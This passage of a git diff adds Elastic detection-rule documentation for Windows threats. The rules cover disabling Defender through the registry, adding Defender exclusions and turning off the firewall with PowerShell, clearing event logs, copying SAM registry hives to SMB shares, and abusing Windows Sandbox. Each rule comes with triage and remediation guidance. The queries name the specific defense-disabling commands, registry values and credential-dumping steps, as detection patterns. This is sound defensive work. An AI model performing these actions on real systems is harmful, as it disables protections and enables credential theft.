remediation* + + +- Immediately isolate affected systems from the network to prevent further exploitation or spread of malicious software. +- Revoke any certificates identified as spoofed or compromised and update the certificate trust list to prevent future misuse. +- Apply the latest security patches from Microsoft to all affected systems to address the CVE-2020-0601 vulnerability. +- Conduct a thorough scan of the isolated systems using updated antivirus and endpoint detection tools to identify and remove any malicious software. +- Review and update endpoint protection configurations to ensure they are set to detect and block similar spoofing attempts. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems may be affected. +- Implement enhanced monitoring for signs of defense evasion tactics, focusing on event logs and messages related to certificate validation processes. + +==== Setup + + + +*Setup* + + +Audit Process Creation and Command Line must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-process-creation + + +==== Rule query + + +[source, js] +---------------------------------- +event.provider:"Microsoft-Windows-Audit-CVE" and message:"[CVE-2020-0601]" and host.os.type:windows + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing +** ID: T1553.002 +** Reference URL: https://attack.mitre.org/techniques/T1553/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-disabled-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-disabled-via-registry-modification.asciidoc new file mode 100644 index 0000000000..b29a543385 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-disabled-via-registry-modification.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-windows-defender-disabled-via-registry-modification]] +=== Windows Defender Disabled via Registry Modification + +Identifies modifications to the Windows Defender registry settings to disable the service or set the service to be started manually. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2020/12/13/defender-control/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Defender Disabled via Registry Modification* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for configurations that disable Windows Defender or the start of its service. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if this operation was approved and performed according to the organization's change management policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 +- Microsoft Windows Defender Tampering - fe794edd-487f-4a90-b285-3ee54f2af2d3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Re-enable Windows Defender and restore the service configurations to automatic start. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + ( + ( + registry.path: ( + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + ) and + registry.data.strings: ("1", "0x00000001") + ) or + ( + registry.path: ( + "HKLM\\System\\*ControlSet*\\Services\\WinDefend\\Start", + "\\REGISTRY\\MACHINE\\System\\*ControlSet*\\Services\\WinDefend\\Start" + ) and + registry.data.strings in ("3", "4", "0x00000003", "0x00000004") + ) + ) and + + not + ( + process.executable : ( + "?:\\WINDOWS\\system32\\services.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\NTRmv.exe" + ) and user.id : "S-1-5-18" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-exclusions-added-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-exclusions-added-via-powershell.asciidoc new file mode 100644 index 0000000000..39cba9ec39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-defender-exclusions-added-via-powershell.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-windows-defender-exclusions-added-via-powershell]] +=== Windows Defender Exclusions Added via PowerShell + +Identifies modifications to the Windows Defender configuration settings using PowerShell to add exclusions at the folder directory or process level. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Defender Exclusions Added via PowerShell* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows. Since this software product is used to prevent and stop malware, it's important to monitor what specific exclusions are made to the product's configuration settings. These can often be signs of an adversary or malware trying to bypass Windows Defender's capabilities. One of the more notable https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/[examples] was observed in 2018 where Trickbot incorporated mechanisms to disable Windows Defender to avoid detection. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the exclusion in order to determine the intent behind it. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- If the exclusion specifies a suspicious file or path, retrieve the file(s) and determine if malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives due to how often network administrators legitimately configure exclusions. In order to validate the activity further, review the specific exclusion and its intent. There are many legitimate reasons for exclusions, so it's important to gain context. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Exclusion lists for antimalware capabilities should always be routinely monitored for review. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) and + process.args : ("*Add-MpPreference*", "*Set-MpPreference*") and + process.args : ("*-Exclusion*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-event-logs-cleared.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-event-logs-cleared.asciidoc new file mode 100644 index 0000000000..a8135f84fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-event-logs-cleared.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-windows-event-logs-cleared]] +=== Windows Event Logs Cleared + +Identifies attempts to clear Windows event log stores. This is often done by attackers in an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-system.system* +* logs-windows.forwarded* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Windows System Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Anabella Cristaldi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Event Logs Cleared* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the occurrence of clear actions on the `security` event log. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - This activity is potentially done after the adversary achieves its objectives on the host. Ensure that previous actions, if any, are investigated accordingly with their response playbooks. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.action:("audit-log-cleared" or "Log clear") and + winlog.channel: ("Security" or "System") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-firewall-disabled-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-firewall-disabled-via-powershell.asciidoc new file mode 100644 index 0000000000..0219349e6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-firewall-disabled-via-powershell.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-windows-firewall-disabled-via-powershell]] +=== Windows Firewall Disabled via PowerShell + +Identifies when the Windows Firewall is disabled using PowerShell cmdlets, which can help attackers evade network constraints, like internet and network lateral communication restrictions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps +* https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell +* http://powershellhelp.space/commands/set-netfirewallrule-psv5.php +* http://woshub.com/manage-windows-firewall-powershell/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Firewall Disabled via PowerShell* + + +Windows Defender Firewall is a native component that provides host-based, two-way network traffic filtering for a device and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can disable the Windows firewall or its rules to enable lateral movement and command and control activity. + +This rule identifies patterns related to disabling the Windows firewall or its rules using the `Set-NetFirewallProfile` PowerShell cmdlet. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user is an administrator and is legitimately performing troubleshooting. +- In case of an allowed benign true positive (B-TP), assess adding rules to allow needed traffic and re-enable the firewall. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Re-enable the firewall with its desired configurations. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "*Set-NetFirewallProfile*" and + process.args : "*-Enabled*" and process.args : "*False*" and + process.args : ("*-All*", "*Public*", "*Domain*", "*Private*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-registry-file-creation-in-smb-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-registry-file-creation-in-smb-share.asciidoc new file mode 100644 index 0000000000..5a590c732a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-registry-file-creation-in-smb-share.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-windows-registry-file-creation-in-smb-share]] +=== Windows Registry File Creation in SMB Share + +Identifies the creation or modification of a medium-size registry hive file on a Server Message Block (SMB) share, which may indicate an exfiltration attempt of a previously dumped Security Account Manager (SAM) registry hive for credential extraction on an attacker-controlled system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Registry File Creation in SMB Share* + + +Dumping registry hives is a common way to access credential information. Some hives store credential material, as is the case for the SAM hive, which stores locally cached credentials (SAM secrets), and the SECURITY hive, which stores domain cached credentials (LSA secrets). Dumping these hives in combination with the SYSTEM hive enables the attacker to decrypt these secrets. + +Attackers can try to evade detection on the host by transferring this data to a system that is not monitored to be parsed and decrypted. This rule identifies the creation or modification of a medium-size registry hive file on an SMB share, which may indicate this kind of exfiltration attempt. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/source host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Inspect the source host for suspicious or abnormal behaviors in the alert timeframe. +- Capture the registry file(s) to determine the extent of the credential compromise in an eventual incident response. + + +*False positive analysis* + + +- Administrators can export registry hives for backup purposes. Check whether the user should be performing this kind of activity and is aware of it. + + +*Related rules* + + +- Credential Acquisition via Registry Hive Dumping - a7e7bfa3-088e-4f13-b29e-3986e0e756b8 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + /* regf file header */ + file.Ext.header_bytes : "72656766*" and file.size >= 30000 and + process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-1-*") and + not file.path : ( + "?:\\*\\UPM_Profile\\NTUSER.DAT", + "?:\\*\\UPM_Profile\\NTUSER.DAT.LASTGOODLOAD", + "?:\\*\\UPM_Profile\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat*", + "?:\\Windows\\Netwrix\\Temp\\????????.???.offreg", + "?:\\*\\AppData\\Local\\Packages\\Microsoft.*\\Settings\\settings.dat*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-sandbox-with-sensitive-configuration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-sandbox-with-sensitive-configuration.asciidoc new file mode 100644 index 0000000000..de8a229db5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-sandbox-with-sensitive-configuration.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-windows-sandbox-with-sensitive-configuration]] +=== Windows Sandbox with Sensitive Configuration + +Identifies Windows sanfbox processes indicating the start of a new container with sensitive configurations like write access to the host file system, network connection and automatic execution via logon command. Malware may abuse the sandbox feature to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog-en.itochuci.co.jp/entry/2025/03/12/140000 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Sandbox with Sensitive Configuration* + + +Windows Sandbox is a lightweight virtual environment designed to safely run untrusted applications. It isolates processes from the host system, preventing permanent changes. However, adversaries can exploit this by configuring the sandbox to access host resources, enabling network connections, or executing commands at startup. The detection rule identifies such misuse by monitoring specific process activities and configurations indicative of potential abuse, such as unauthorized file system access or network enablement, helping analysts spot and mitigate threats effectively. + + +*Possible investigation steps* + + +- Review the process details for "wsb.exe" or "WindowsSandboxClient.exe" to confirm the start of a new container and check for any unusual command-line arguments that match the query criteria, such as "Enable" or "true>". +- Investigate any file system access attempts by the sandbox, particularly focusing on write access to the host file system indicated by "C:\false". Determine if any unauthorized or suspicious files have been modified or created. +- Examine network activity associated with the sandbox process to identify any unexpected or unauthorized connections, especially if "true>" is present in the command line. +- Check for any logon commands executed by the sandbox process using "" in the command line to identify potential persistence mechanisms or automated tasks that could indicate malicious intent. +- Correlate the sandbox activity with other security alerts or logs 